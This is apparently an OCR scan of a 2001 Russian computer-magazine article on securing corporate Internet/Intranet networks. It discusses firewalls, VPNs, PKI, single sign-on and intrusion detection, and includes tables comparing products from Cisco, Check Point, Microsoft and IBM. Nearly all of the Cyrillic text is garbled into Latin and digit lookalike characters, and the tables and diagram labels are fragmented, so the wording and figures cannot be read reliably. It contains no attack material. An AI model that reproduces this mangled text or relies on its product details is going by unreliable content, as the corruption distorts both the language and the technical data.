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SOLUTIONS 6e3onacHOCTb 


Cpeflcxea 

ueHTpa/insoBUHHoro 

ympaBJiGMUfl 

aHTHBHpyciiQift aammQfi 


HH &OPN \ AMMOH H AH C PEflA n PEflH PH HTMfl 


MesKceieebie 



3K.p3H u 
Firewall 




PKl/CpencTBa 

ayreHTM^nicauHM 

Cpe^cTBa ayaura m 
MOMWTQ pMMra 

EnpiYTUibH ue 
■OCTHUe OBTW — VPN 


CpeflCTBa BflMH- 
MUCTpMEMBamna 



CpeflCTea 
KOHipoflfl flocTyna 
K npH/lOftaHMSM 


CpeflCTaa 

.^HJIhlpaunU flH.H H hIX 

(Content Security) 



Cpcflcrsa 
flociyna k 
C-hCt$M£m 


noabaoeaicjiM 


OneBMflHO, hto b HacTO^iMee BpeMA p,nn /iio6om 
KOM nam/iM no/iHbm 0TK33 ot no/ib30BaHMfl M mepHe- 
TOM npaKTMHeCKM HeB03M0>KeH. ri03T0My Halite BCe- 
ro npMHMMaeTCfl nepBbm BapnaHT nocrpoeHMA Kop- 
nopaTMBHbix ceien. 

>KapKMe flMCKyccMM pa3BopaHMBaiOTCfl npM ot- 
Beiax Ha c/ieAyioiAMe Bonpocbi: 

► Ot Hero Haflo 3amnmaTb CMdeMy? 

► Hto Haflo 3aiAMmaTb b csmom CMcreMe? 

► KaK Haflo 3aiMMiMaTb CMcreMy (npn noMOLAM KaKMx 
MeTOflOB M CpeflCTB)? 

► Kax npeflycMOTpeTb m cnporH03MpoBaTb bo3mo>k- 
Hbie npo6/ieMbi, CBfl3aHHbie c 6e3onacHocTbio ceTM? 

► Kax o6ecneHMTb Hafle>KH0CTb m OTKa3oycroMHM- 
BOCTb CeTM? 

► KaK o6ecneHMTb Tpe6yeMyio ue/iocmocTb, flo- 
CTynHocTb m KOHcfiMfleHUMa^bHocTb o6pa6aTbiBae- 
MOM MHC|)OpMa4MM? 

► KaKMMM flO/1 >KHbl 6blTb COCTaB M CTpyKTypa CMCTe- 
Mbl 6e30naCH0CTM KOpnopaTMBHOM MHCj)OpMaUM- 
OHHOM CMCTeMbl? 


a Pmc. 1 . IIoaxoa 4>npMbi IBM k BonpocaM SesonacHocrn KOMnbioTepHbix CMCTeM 


npn 3tom HapywaeTCfl pa3yMHbm 6 a/iaHc Me>Kfly 3a- 
TpaTaMM Ha aBTOMaTM3ai4Mio m o 6 ecneneHMe 6e30- 
nacHOCTM m no/iynaeMbiM 3KOHOMMHecKMM acjDcjDeKTOM. 
B TaKoPi CMTyauMM p,nn Ka>KfloPi KOMnaHMM caMoe 
BpeMfl onpefle^MTbc^ c OTBeTOM Ha c/ieAyioiAMM bo- 
npoc: «EyfleT /in KopnopaTMBHaa ceTb 3aiAMLAaTboi 
b Internet m/im om Internet?)) B paMKax nocrpoe- 
HMfl 3aiMMlMeHHOM CMCTeMbl KOMnaHMM OTBeT Ha 
flaHHbm Bonpoc o 6 yc/iaB/iMBaeT Bbi 6 op oahom m3 
AByx B03M0>KHbix koh L^en 141/1 m : 

► nocTpoeHMe 3aiAMiAeHHOM BMpTya/ibHOM nacmoM 
ceTM (VPN) npeflnpnflTMfl Ha 6a3e OTKpbiTbix Ka- 
Ha/iOB cb)13m, HanpMMep I/I HTepHeTa; 

► OTK33 OT CpeflCTB M HTepHeTa KaK TaKOBbIX M co- 
3flaHMe cneuMa/iM3MpoBaHHOM m/im BbiAe/ieHHoPi 
ceTM KOMnaHMM c Mcno/ib30BaHMeM cneAMa^bHOM 


ceTeBOM TexHO/iorMM, HanpMMep ATM, Frame Relay 
m/im ISDN. 

no cyTM 3tm KOHLjenAMM ab/i/hotca A^aMeTpa/ib- 
ho npoTMBono/io>KHbiMM B3r/iflA9MM Ha yKa3aHHyio 
npo6/ieMy m, KaK c/ieACTBMe, o6nap,a\oj onpeAe/ieH- 
HblMM HeAOCTaTKaMM. 

riepBbiM noAxoA CB/i3aH co 3HaHMTe/ibHbiMM 3a- 
TpaTaMM Ha o6ecneneHMe AOCTaTOHHoro ypoBHa 3a- 
lAMiAeHHOCTM m ynpaB/ieHMe 6e3onacHocrbio KOpno- 
paTMBHOM CMCTeMbl npM nOAK/llOHeHMM K 1/lHTepHeTy. 

Btopom — npeA/iaraeT OTKa3aTbc/i ot Mcno/ib30- 
BaHMii yc/iyr M HTepHeTa, npMHeM He mnbKO ot cyiAe- 
CTByiOlAMX B HeM KaHa/lOB CB/I3M, y3/10B KOMMyTaAMM, 
HO M OT CepBMCOB M TeXHO/lOTMM, y6eAMTe/lbHO AOKa- 
3aBUJMX CBOK) >KM3HeCn0C06H0CTb (AOCTyn M nOMCK 
MHcjDopMauMOHHbix pecypcoB, web-peK/iaMa m t. a.) 


Bo3MO>KHbie peiuemin npo6sieMbi 

Co3AaHMe KOpnopaTMBHOM CMCTeMbl 6e3onacHOCTM 
ceTM Internet/Intranet — 3 to AeMCTBMTe/ibHO co- 
3AaHMe CMCTeMbl. 3Aecb Ma/io o6ecneHMTb comaco- 
B3HMe npOTOKO/lOB CTeKa TCP/IP M COOTBeTCTByiO- 
iamx cpeACTB 3aiAMTbi. Heo6xoAMMO co6paTb CMcre- 
My, pj\n kotopom mo>kho 6yAeT AOKa3aTb OTcyTCTBMe 
«3aAHMx ABepeM» m oujm6ok. Bo/iee toto, CMCTeMa 
AO/i>KHa 6biTb 3aiAMiAeHa ot oqjm6ok m Aa>Ke 3/iOHa- 
MepeHHbix AeMCTBMM ee jiera/ibHbix no^b30BaTe^eM, 
yAo6Ha b 3Kcn^yaTauMM m, no bo3mo>khoctm, npo- 
3paHHa. 

riosTOMy b HacTO)iiAee BpeM)i npoMcxoAMT pac- 
LUMpeHMe He CTO^bKO pbiHKa OTAe/ibHbix cpeACTB 3a- 
IflMTbl MHCjDOpMaUMM, CKOJlbKO pbiHKa no^HOMaciuTa6- 
HblX KOHeHHbIX CMCTeM. Ha 3TOT pbIHOK 3KTMBH0 Bbl- 
xorht TaKMe rMraHTbi, KaK Microsoft, IBM, Cisco, HP, 
CA, m Apyrne KOMnaHMM, AOcmriuMe ycnexoB b kom- 
nbiOTepHbix KOMMyHMKaAMOHHbix TexHo^orM^ix. Oa- 


Ta6/mi4a 1. CpaBHeHne HeKoropbix Me>KceTeBbix anpaHOB 


HamvieHOBaHne npoflyKTa 

Cisco PIX 520 

Checkpoint Firewall-1 

3acTaBa-A>KeT 

oncy-ip 

nOCTaBmMK/npOM3BOAMTe/lb 

Cisco Systems 

Check Point 

klHcfiocncTeMbi A>neT 

Ammkoh 

K/iaCC rOCTeXKOMMCCMM 

3 

3 

2 

2 

Mcno/ib3yeMan OC (n/iaT(J)opivia) 

OC COOCTBeHHOM pa3pa60TKM 

Solaris (SPARC), NT (x86), HP-UX (HP) 

Solaris (SPARC), BSDI (x86) 

OC CObCTBeHHOM pa3pa60TKM 

YpOBeHb 4>M/lbTpai4MM 

CeaHcoBbiPi, ceTeBOM 

npuKAaflHOki, ceaHCOBbm, ceieBOki 

npuKAaflHOki, ceaHCOBbiki, ceTeBOM 

CeieBOki 

rip03paHH0CTb fl/lB npMSIOMeHHM 

npo3paHeH 

npo3paHeH 

npo3paneH 

npo3paHeH 

Proxy 

SNMP, HTTP 

FTP, HTTP, SMTP 

HTTP, FTP, Telnet, rlogin, rsh, SMTP, 
SNMP, POP3, Gopher, SSL, Xll, SQL, 
Ip, NNTP, RealAudio, RealVideo, 
StreamWorks, VDOlive, NetShow, LDAP 

Hei 

noAflep>KKa npoTOKoaoB ana cp m/i bTpa lim ii 

FTR SMTP archie, Gopher, Telnet, H.323, 
NetMeeting, InternetPhone, RealAudio 
NetShow, CU-SeeMe, MS Exchange, 
RealAudio, SQL Net, Vosaic, 
WebTheater, WinFrame 

FTR RPC, H.323, NetMeeting, VDOLive, 

rsh, SMTP, SNMP, POP3, Gopher, SSL, 
Xll, SQL, Ip, NNTP, RealAudio, 
RealVideo, StreamWorks, VDOlive, 
NetShow, LDAP 

IP-CTeK 

TpaHC/iBUMB ceTeBbix aflpecoB 

Edb 

Edb 

Edb 

Edb 

AyTeHTM(})MKa4iiB no/ib30BaTeaeM 

Secure, RADIUS, TACACS+, AXENT, 
CryptoCard, NDS, NTDomain, UNIXDomain 

S/Key, SecurlD, RADIUS, TACACS, 
TACACS+, Definder, OSPassword 

S/Key, SecurlD, RADIUS 

AKKOPA 

TeHepauMB othctob 

Tend 

BuHapHbm cfiopMaT 

TeKd 

Tend 

AyTeHTM(|)m^Mpyeivibie npoTOKO/ibi 

FTR HTTP, Telnet 

Bee 

Bee 

Bee 

PeamposaHiie Ha nonbiTKH HCA 

Edb 

Edb 

Edb 

Hei 

UeHTpa/iH30BaHHoe aAMHHHCTpiipoBaHiie 

Edb 

Ecrb (oTflenbHayi yTunma) 

Edb 

Hei 

npefle/ibHan npon3BOflMTe/ibHOCTb 

170 M6m/c 

100 M6m/c 

45 M6m/c 

Ot 2,2 flo 12,8 M6m/c 


CHIP 


M K) H b 


2 0 0 1 









3 a m h t a c m c t e m Internet/Intranet 


145 



AS/400 


VnpaB/ieHne 

6 & 3 QOaCHOCTH KC 


apm r."-— ~ 

di33T0F>e 


-ScpKajia*- 


Cepeep 

OTnaaa 

yCTOSHUflOCTM 


yposeHb Hflpa 


WEB-ceFXiC'pw 


gpciyn 
a Internal 


Capaep 

Single 

Sign-on 


*YAnTa 


Cepnep 

I : m 1 1 1 l>i : | :■ 1-1 k ;i i h 

(CAT 


IAN 

yfl0neHH!*J3C 

$WMtUlQD 

n-DJibaoaargjiH 


npoMpK9 

iiu-nw 

(e-mail) 


yposeHb nepMMeTpa 


CpBACTBB BAdHT.-E ^DrO 
vnpBBneHMR 
fie3Dnac.H0CTt.KD ilOSi 


Kl IplVJI i;j I L J IIMr.ll ! 

HjepBepbl 


ypoeeHh 


napTHflpuj 


vaaneNHoro nocTyna 


'Gepjgvic Gdiii iatnoc m 


VPN-KJIMeHT 
BHTHflWPVG-KJlWHT 
oa«BTHaFi dMJibTpau^^ 


Mo^H/lbMWpi 

noJ^MBflT^nb 


▲ Pmc. 2 . CTaHAapTHasi KOH<t>nrypaunfl KopnopamBHOM cem 


HaKO fla>Ke 3 tm KOMnaHMM cipaflaiOT orpaHMHeHHoc- 
Tbio noflxofla k npo6/ieMaM 6e3onacHOCTM, CTapaacb 
peiuMTb Bee npo6/ieMbi b paMKax co6cTBeHHbix npo- 
AyKTOB. fleMCTBMTe/lbHO, Bbl M0>KeTe npoMTM Kypc no 
MHcjDopMauMOHHOM 6e3onacHOCTM Microsoft, m BaM 
o6-b^CH5iT, hto Bee Bonpocbi 6e3onacHOCTM cboaktca 
K aAMMHMCTpMpOBaHMIO 3aiAMLAeHH0M OC Windows 
NT mjim Windows 2000. ripeACTaBMTe/ib Cisco c yAO- 
BO/ibCTBMeM paccKa>KeT BaM, KaK co3Aaib ue/iocmyio 
CMdeMy 6e3onacHOCTM, Mcno/ib3ya mnbKO Mapwpy- 
TM3aiopbi, 6paHAMay3pbi Cisco PIX, cooTBeTCTByio- 
lAMe cpeACTBa ayAMTa m MOHMTopMHra. A cfn/ipMa 
Checkpoint MO>KeT npeA/io>KMTb BaM pa3Bmbie cmc- 
TeMbi 6e3onacHOCTM, noApa3yMeBaa noA stmm Ha6op 
Me>KceTeBbix 3KpaHOB m npoAyKTOB p,nn opraHM3a- 
u,m VPN, ynpaB/iaeMbix M3 eAMHoro LjeHTpa. Bee 3 to 
oneHb HanoMMHaeT crapbm aHeKAOT npo ne/iOBeKa, 
KOTOpbIM noeT neCHM TO/lbKO 0 TOM, HTO BMAMT m 
3HaeT. I/I TO/ibKO TaKafl KOMnaHMM, KaK IBM, 3aflBM/ia, 
hto He co6npaeTCfl o6~bnTb HeofiiflTHoe m roTOBa Ha 


to, HTo6bi npeA/io>KMTb no/ib30BaTe/no 3/ieMeHTbi 
c/io>KHoro KOMn/ieKca, cocrofliAero He mnbKO M3 
npoAyKTOB IBM (pnc. 1). 

3BOJHOI4M51 peiiieHMM B 06/iaCTIi 0630“ 
naCHOCTM KOMnblOTepHbIX CMCTeM 

B ocHOBe coBpeMeHHbix B3r/iflA0B Ha ynpaB/ieHMe 
6e30naCHOCTblO KOpnopaTMBHblX MHCflOpMaAMOHHblX 
CMCTeM /ie>KMT nOHMM3HMe KOMn/ieKCHOCTM CMCTeMbl 
MHCjDOpMaUMOHHOM 6e30naCH0CTM aBTOM3TM3MpO- 
BaHHblX CMCTeM (AC). 

BnepBbie Bonpocbi MHcjDopMaAMOHHOM 6e3onac- 
HOCTM CTa/lM aKTya^bHblMM C nOilB/ieHMeM M3MH- 
cfipeMMOB — KpynHbix AC, Aocryn k KOTopbiM MMe/iM 
MHorMe no/ib30BaTe/iM. HaM6o/iee no/iHO CMcreM- 
HbiM noAxoA k BonpocaM 6e3onacHOCTM TaKMx cmc- 
TeM M3/10>KeH B 3H3MeHMTOM «OpaH>KeBOM KHMre» 
MO CLUA, CTaHAapTax ISO-17799, repMaHCKOM ct3h- 
AapTe BSI, a T3K>Ke b pyKOBOAfliAMx AOKyMeHTax 
(PA) focTexKOMMCMM npM npe3MAeHTe PO. 


TaK, HanpMMep, no/ioweHMa Pfl TTK, AeMCTByio- 
lAMe Ha TeppMTOpMM POCCMM, AOCTaTOHHO AeTa^bHO 
OnMCblBaiOT OCHOBHbie CpyH KL(M M CMCTeMbl MHCjDOp- 
MaAMOHHOM 6e3onacHOCTM b AC AOceTeBbix BpeMeH, 
cocTO^iAePi M3 maBHoro KOMnbiOTepa m noAK/HoneH- 
HblX K HeMy JlOKa/lbHblX TepMMHa/lOB. 

OAHaKO c toto BpeMeHM npoM3om/iM ABe cepb- 
e3Hbie nepeMeHbi. 

TepivmHa/ibi nepeMecTMsmcb aa/ieno 
ot AC 

TaK Aa/ieKO, hto: 

► kto yroAHO MO>KeT npoc/iywaTb mjim M3MeHMTb mh- 
cjDopMauMio, npoxoA^iAyio ot TepMMHa/ia k AC m 
o6paTHO no ceTAM m l/l HTepHeTy; 

► kto yroAHO MO>KeT no/iyHMTb AOCTyn k pecypcaM 
AC nepe3 OTKpbiTbie ceTM m I/I HTepHeT; 

► AC y>Ke He MO>KeT 6biTb yBepeHa b tohhom mach- 
TMcjDMKauMM no/ib30BaTe/ifl TepMMHa/ia. 


Hto >ne nomuviaeTCfl noA CMCTeMOM MHcJxipiviauMOHHOM 6e3onacHOCTM? 


CaMo c/iobo «cMCTeivia» npeAnoAaraeT AeKOMno3Munio 3aAaHM Ha pnA b33mmho 
CBH 3aHHblX COCTaBAHIOLAMX, K3>KAaH M3 KOTOpbIX MMeeT CBOe MeCTO B CMCTeMe 
M BJlMfleT Ha OKOHHaTe/lbHyiO c6opKy BCeM CMCTeMbl. M A6MCTBMTe/lbH0, pa3Hbie 
aBTopbi, cTaHAapTbi m KOMnaHMM AeriaioT cboio AeKOMno3Mi4Mio npofi^eMbi (cm. 
Ta6^.). 

Ka>KAblM M3 3TMX nOAXOAOB AOCTaTOHHO CnpaBeATIMB. MX HeCXO>KeCTb TO/lbKO nOA- 
nepKMBaeT MaciuTafi npo6^eMbi m HB/ineT co6om ^Miub HeKOTopbie npoeKUMM mc- 
tmhhom apxMTeKTypbi 6e3onacHocTM Ha onbiT m ue^M tom m^m mhom KOMnaHMM. 
riO-BMAMMOMy, nO^HOe OnMCaHMe CMCTeMbl MH(t)OpMai4MOHHOM 6e30naCH0CTM 
A0/1>KH0 COCTOHTb He M3 OAHOTO Cpe3a, 3 M3 MHOTMX npoeKUMM CMCTeMbl, 001.6- 
AMHeHHbix b eAMHoe ue^oe. 


KoMnaHMn/cTaHAapT npnHL^nnbi nocTpoeHMH CMCTeMbl 

ISO-7498-2 YnpaB/ieHne m ayreHTMc|)MKauMyi/aBTopM3auMyi/KOHc|)MAeHi4M- 

a^bH0CTb/ue^0CTH0CTb/6e30TKa3H0CTb 
0praHM3aunyi 3aiAmbi Ha Bcex ypoBH^x MOfle/iM ISO/OSI 

IBM ABTopM3auMfl/noAOTHeTHOCTb/AOCTynHOCTb/npoueflypHafl 

npopafioTKa/ynpaB^eHkie 

CA Ue^OCTHOCTb/KOHctiMAeHUMa^bHOCTb/AOCTynHOCTb/nporHOCTMHec- 

Koe ynpaBJieHMe/MHTerpaukm c CMCTeMbl ynpaB^eHM^ ceTbio 

HP YnpaB/ieHMe AOCTynoM/ynpaB^eHMe npoM3BOAme^bHOCTbio/ 

ynpaB^eHkie n/iaHMpoBaHMeM ceTM/i4eHTpajiM30BaHHoe ynpaB- 
^eHMe 6e3onacHocTbio 
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SOLUTIONS 6e3onacHOCTb 


CaMM TepMMHa/lbl CTa/lM «yMHblMH» 

Ha hmx pa6oiaeT cboa MHoro3aflaHHafl OC, noflBM- 
/iMCb cbom flMCKM, nopibi m npMHTepbi. V\ no/ib30Ba- 
Te/ib TepMMHa/ia y>Ke He MO>KeT 6biTb yBepeH, hto 
T epMMHa/i Haxoflmcfl b ero eflMHO/iMHHOM ynpaB/ie- 
hmm — Ha KOMnbiOTepe MoryT pa6oiaib Bpa>Kfle6- 
Hbie nporpaMMbi. 

TaKMM o6pa30M, AC pa3fle/iM/iacb Ha MHowecT- 
bo noflCMdeM (yfla^neHHbix KOMnbiOTepoB, cepBe- 
POB, CeTeBbIX yCTpOMCTB, CpeflCTB KOMMyHMKaUMM 
m t. n.). Eo/iee Toro, noflBM/iMCb pacnpefle/ieHHbie 
noflCMdeMbi ynpaB/ieHMA BceM 3 tmm c/io>KHbiM 
X03AMCTB0M. 


► Ha c|DM3MHecKOM (MAC) ypoBHe; 

► Ha ceieBOM (KOHTpo/ib aflpecoB) ypoBHe; 

► H3 TpaHCnopTHOM («MaiilMHbl COCTOflHMM» OCHOB- 
Hbix npoTOKO/iOB) ypoBHe; 

► Ha npMK/iaflHOM (npoKCM-CMCTeMbi) ypoBHe; 
MHorocnoMHan 3amma KaHa/iOB (Koppe/iMpyeT 
C MHOmypOBHeBblM nOflXOflOM, M3/10)KeH H bl M B 
ISO-7498-2), HanpMMep 3aii(MTa TpacfiMKa flaH- 
Hbix, nepeflaBaeMbix no OTKpbiTbiM KaHa/iaM cba- 
3m . TaKaa 3aiMMTa pea/iM3yeTca Ha c/ieflyiomMx 
ypoBH^x: 

► Ha cjDM3MHecKOM (sau\\Aja Ka6e^eM, 3KpaHM3auM5i 
HaBOflOK); 


Bonpoc o Heo 6 xoflMMOCTM flono/iHme/ibHOM 3aiijMTbi 

KOpnopaTMBHOM CMCTeMbl CerOflHfl He Bbl3blBaeT COM eHMM 


C 3Toro MOMeHTa 3aflaHM 6e3onacHocTM Taione pac- 
iiinpM/iMCb. Tenepb b hmx bxoaat: 

► Bee dapbie 3 aflanM, onMcaHHbie b Pfl, flocraTOHHo 
c/io>KHbie caMM no ce 6 e; 

► 3aflaHM 3aiMMTbi KaHa/iOB cb*3m pacnpefle/ieHHbix 
y3/iOB AC; 

► 3aflaHM MAeHTMc|)MKaAMM, ayieHTMcfiMKaAMM, 3 bto- 
pM3auMM yAa^neHHbix no/ib30BaTe/ieM m nporpaMM; 

► 3aAaHM 3aiAMTbi yAa/ieHHbix y3/iOB pacnpefle/ieH- 
hom AC; 

► 3aAaHM 3aiAMTbi BceM CMdeMbi KaK ue/ioro m ee 
CMdeM ynpaB/ieHMA. 

A/m peweHMA stmx 3aflan Tpe6yeTCfl ue/ibm pafl 
noACMdeM 6e3onacHOCTM. CneAOBaie/ibHO, coBpe- 
MeHHbie peweHMA b 06/iacTM 6e3onacHocTM kom- 
nbiOTepHbix CMdeM flo/i>KHbi o6/iaflaTb b onpefle- 
ZieHHOM CTeneHM B03M0>KH0CTbt0 CMCTeMaTM3aAMM 
noACMdeM 6e3onacHOCTM. PncyHOK 2 noKa3biBaeT, 
KaKMe 3/ieMeHTbi 3aiAMTbi Heo6xoAMMbi p,nn ct3h- 
AapmoM KOHcj)MrypauMM KOpnopaTMBHOM ceTM. 
Me>KceTeBOM 3KpaH (cm. ja 6/1. 1), KaK cpeACTBO 
3aiAMTbi ot HecaHKAMOHMpoBaHHoro AOdyna kom- 
noHeHTOB KOpnopaTMBHOM CMdeMbi Internet/ 
Intranet, no3BO/meT o6ecneHMBaTb 3aiAMTy Ha c/ie- 
AyioiAMx ypoBH^x cieKa TCP/IP: 


► Ha ceieBOM (HanpMMep, wMcfipoBaHMe TpacjDMKa ot 
KOM nbiOTepa ao KOMnbiOTepa Ha ocHOBe npoTOKO- 
j\ a IPsec); 

► Ha TpaHCnopTHOM (HanpMMep, LUMcjDpoBaHMe flaH- 
Hbix ot OAHoro npM/ioweHMfl ao flpyroro npM/io- 
>KeHMii Ha yAa/ieHHOM KOMnbiOTepe Ha ocHOBe 
npoTOKO/ia SSL); 

► Ha npMK/iaAHOM (HanpMMep, LUMcjDpoBaHMe flaH- 
HblX npM/10>KeHMeM CaMOCTOflTe/lbHO). 

TaK, HanpMMep, b ja6nv\u,e 2 npMBeAeHbi cpaB- 
HMTe^bHbie xapaKTepMCTMKM HeKOTopbix VPN-npo- 
AyKTOB. 

3 amma Ha ypoBHe OC ocymecTB/meT KOHTpo/ib: 

► 3 a BMpycaMM; 

► 3anycKOM npM/io>KeHMM; 

► 3anycKOM caMOM OC; 

► 3 a pa6oTOM npM/io>KeHMM; 

► 3 a AOCTynoM k pecypcaM. 

Per/iaMeHTauMB flocryna Ha ocHOBe cmctcm midd- 
Le-ware. I/lx noaB/ieHMe o6yc/iOB/ieHO Heo6xoflMMO- 
CTbio pemaMeHTMpoBaTb AOCTyn no/ib30BaTe/ieM k 
MHO>K ecTBy npM/io>KeHMM m MHcjDopMauMOHHbix pe- 
cypcoB AeHTpa/iM30BaHHbiM o6pa30M. 1/lMeHHo cmc- 
TeMbi middle-ware no3BO/miOT CHATb c no/ib30BaTe- 
jifl rHeT Aec^TKOB napo/ieM m opraHM30BaTb 


TexHoziorMK) single-sign-on — camhctbo tohkm 
B xoAa b CMCTeMy. Ohm ocymecTB/miOT: 

► ayTeHTMcjDMKaAMio (TOHHoe ono3HaHMe) noAKmo- 
HaioiAMxcfl k AC no^b30BaTe^eM m npoueccoB; 

► aBTopM3auMio (HaAe^eHMe onpeAe^eHHbiMM no^- 

HOMOHMflMM COmaCHO MHC|)OpMai4MM B 6a3ax AaH- 

Hbix CMCTeMbl mid die- ware) no^b30BaTe^eM m 
npoueccoB. 

Mcn0/lb30BaHMe MH£|)paCTpyKTypbl OTKpbITbIX 
K/iiOMeft. pa6oTbi ^io 6 om m 3 onMcaHHbix cmctcm 
no^b30BaTe^b o6^3aH npeACTaBMTb onpeAe/ieHHbie 
AOKa3aTe^bCTBa CBoeM ma 6 htmhhoctm, a T3K>Ke mho- 
roHMC^eHHbie k^iohm, c noMOiAbio KOTopbix 6yAeT 
ocyiAecTB^^TbCfl 3aiAMTa MHcfiopMaAMM m npoueAy- 
pbi AonycKa. 3 to Tpe6yeT co3AaHM5i TaK Ha3biBae- 
mom MHcjDpacTpyKTypbi ny6^MHHbix K^ioneM — 

Public Key Infrastructure (PKI). 
UeHTpa/iM30BaHHoe ynpaB/ieHMe 6e3onacHOCTbio 
KOpnopaTMBHOM CMdeMbi Internet/Intranet c no- 
MOiAbio cneuMa^bHbix cpeACTB (Ta6/i. 3), KOTopbie 
MoryT 6biTb MHTerpMpoBaHbi b o6iAMe ueHTpbi ceTe- 
Boro ynpaB^eHM^i. 

noH^THO, hto 3aAana o6ecneneHMfl 6e3onacHoc- 
tm KopnopaTMBHbix CMCTeM Internet/Intranet Ha 
6a3e OTAe^bHbix KOMnoHeHT pa3Hbix npoM3BOAMTe- 
^eM ^B^^ieTCfl A0CT3T0HH0 c/io>KHOM m npo6^eMa- 
tmhhom. KpoMe Toro, ec^M npMnoAH^Tbc^i HaA caMM- 
mm cMCTeMaMM o6ecneneHM^ 6e3onacHocTM, to cra- 
HOBMTC5I OHeBMAHOM Heo6xOAMMOCTb HeKOTOpbIX 
AeMCTBMM, Bbino^H^ieMbix BHe caMOM AC, Ha ocHOBe 
c^eAyioiAMx peiueHMM: 

► CMCTeMbl o6Hapy>KeHMfl BTop>KeHMM (Systems 
Intrusion Detection), HanpMMep KOMnaHMM ISS, 
no3B0^5iioiAMe Ha ochob 3 hmm HeKOToporo pema- 
MeHTa npoBepoK KOHTpo/iMpoBaTb cocTO^HMe 6e- 
30naCH0CTM KOpnopaTMBHOM ceTM B pea^bHOM 
MaciuTa6e BpeMeHM; 

► CMCTeMbl ayAMTa LOG-cmctcm, HanpMMep KOM- 
naHMM Symantec-AXENT, KOTopbie npeACTaB/m- 
kdt co 6 om BCTpoeHHbie noACMCTeMbi 3anMCM 
Bcex npoMcxoA^iAMx co6biTMM, CBoero poAa 


Ta6nvn\a 2. CpaBHMTe/ibHbie xapaKTepMCTMKM HeKOTopbix VPN-npoflyKTOB 


I napaMeTp 

Windows NT/2000 

Cisco Systems Cisco I0S 12.x 

CTpaHa-npoM3BOflMTenb 

CLUA 

CLUA 

npoTOKoa, pea/iM3yK»mnM BupTya/ibHbie Tymne/in 

PPTP/IPSec 

L2TP/IPSec 

Cnoco6 pea/iM3ai4MM 

nporpaMMHbiki 

nporpaMMHbm 

noAflepjKMBaeMbie annapaTHbie n/iaic^opivibi 

Intel 

Cisco 

noAAep>KMBaeMbie onepapMOHHbie CMCTeMbl 


IOS 12.x 

AyTeHTnc})MKapMfl 11 noflflep>KKa L^e/iocTHOCTM naKeTOB 

Hei/Aa 

Aa 

noflflep>KKa BHeiiiHMx ycTponcTB ycii/ieHHOM ayTeHTM(})MKapMM no/ib30BaTe/ieM 

Aa 

Hei 

B03M0>KH0CTb L^eHTpa/lbHOrO aflMMHMCTpupOBaHMfl VPN 

Aa 

Aa 

Mcnoab3yeMbie a/iropmMbi ujnt})poBaHMq m KOflnpoBaHM5i 

DES; 3DES 

DES; 3DES 

MaxcMMasibHan xpiinTOCTOMKOCTb (fl/imna K/iiona, 6 mt) 

168 

168 

Ko/iMnecTBO OAHOBpeMeHHO ncno/ib3yeMbix KpMnToa/iropiiTMOB 

1 

1 

HaaMHue oTKpbiToro KpnnTOMHTepc|>eMca 

Aa 

Hei 

BefleHkie >xypHa/ia ayAMTa 

Aa 

Aa 

MaxcMMasibHan npon3BOflme/ibHOCTb (An — annapaTHax naaT(|>opMa) 

3aBncm ot An 

250 M6m/c 

Ha/iMHMe x/ixeHTCXMx; cepBepHbix; ui/ix>30Bbix nacTex 

Aa/Aa/Hei 

Aa/Hei/Aa 

CpeACTBa nocTpoeHMB co6ctb6hhom xinoneBOM CMCTeMbl 

Hei 

Hei 

Bo3MO>KHOCTb xacxaAxpoBaHMB TyHHe/iex 

Aa 

Aa 

Ha/iMHMe cepTM<t>MxaTa TocTexxoMMCCMM 

Hei 

Aa, Ha oTfle/ibHbie M3Renwfi 

Ha/iMHMe cepTM(|>MxaTa OAnCM (b tom nxc/ie Ha BHeuiHMe xpxnTOMOAy/iM) 

Hei 

Hei 

noAAepxixa BHeiiiHMx cmctcm pacnpeAe/ieHMB xax)HeM m cepTM(()MKaTOB (PKI) 

Aa 

Aa 

noAAep>«xa BHeiiiHMx cpeACTB 3amnTbi ot HCA 

Aa 
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Ta6/inua 3. XapaKTepiiCTHKii HeKOTopbix npoflyKToe ueHTpa/msoeaHHoro ynpaB/ieHMa 6e3onacHOCTbio KopnopamBHbix MH<t>opMaunoHHbix CMCTeM 


npOAYKTbl 

OcHOBHbie uenn 

CocTaB npoflyKTa 

cDymujiiii 

Oco6eHHOCTM npoflyKTa 

SecureWay KOivmaHnn 
IBM (Tivoli) 

1. YnpaB/lHTb nO/IMTMKOM 
6e3onacHOCTM npeflnpMH- 
TMfl 

2. Pea/iM30BaTb 6e3onac- 
HbiM e-business 

User Administration 

YnpaB/ieHMe flocTynoM: 

• CMCTeMbl RACF,UNIX,NT.... 

• npM/io>KeHnfl ROMS, ERP, SAP R/3, .... 

• KaTa/iom LDAP, Native API.... 

• GSO 

Bo3MO>KHa MHTerpapMH c npoflyKTaMM 
IBM, HanpMMep eNetwork Firewall, Vault 
Registry. A-n^ uempa/iM30BaHHoro yn- 
paB/ieHMfl 6e3onacHocTbio Mcno/ib3yioTcyi 
npOflyKTbl CTOpOHHMX np0M3B0flMTe^eM, 


3. riOCTpOMTb KOMn/ieKC- 
Hyio cncieMy 

Security Manager 

YnpaB/ieHMe flocTynoM, ayflMT m mohmtopmht, ynpaB/ieHMe 
6e3onacHocTbio 

BK/noHaa DASCOM (ynpaB/ieHMe cmctcm- 
hom no/iMTMKOM, Finjan (cfiM/ibTpauMfl), 


6e3onacHOCTM (Intranet, 
Extranet, Internet) 

Global Sign-On 

Ynpa/ieHMe pemcTpapMeM CMCTeM m npM/io>KeHMM 

• GSO-cepBep (WinNT,2000,AIX, Solaris) 

• GSO-K/iMeHT (Win NT, 9x, 2000) 

• GSO-obteKT (OS/390, OS/400, UNIX, NT, Netware, 
OS/2, Lotus Notes) 

Security Dynamics (ayreHTMcfiMKauMyi), 
Symantec (aHTMBMpycHbie cpeflCTBa), 
Content Technologies (ynpaB/ieHMe koh- 
TeHTOM). B KOMn/ieKCHOM CMCTeMe IBM 
(Tivoli) pea/iM3yeTca CTaHflapT Common 



Policy Director 

YnpaB/ieHMe flocTynoM k pecypcaM (AIX, SUN, NT, 
OS/390) 

Data Security Architecture) 



Risk Manager 

OpeHKa m ynpaB/ieHMe pmckbmm 




FirstSecure 

YnpaB/ieHMe 6e3onacHocTbio 

• ynpaB/ieHMe no/iMTMKOM flocTyna 

• ynpaB/ieHMe amMBMpycHOM 3aiflMT0M 

• ynpaB/ieHMe pMcfipoBbiMM cepTMcfiMKaiaMM (PKI) 

• obecneneHMe 6e3onacHocTM TpaH3aKpMM 

• noAqep>KKa nmerpaunn c flpyrMMM npM/io>KeHMyiMM 




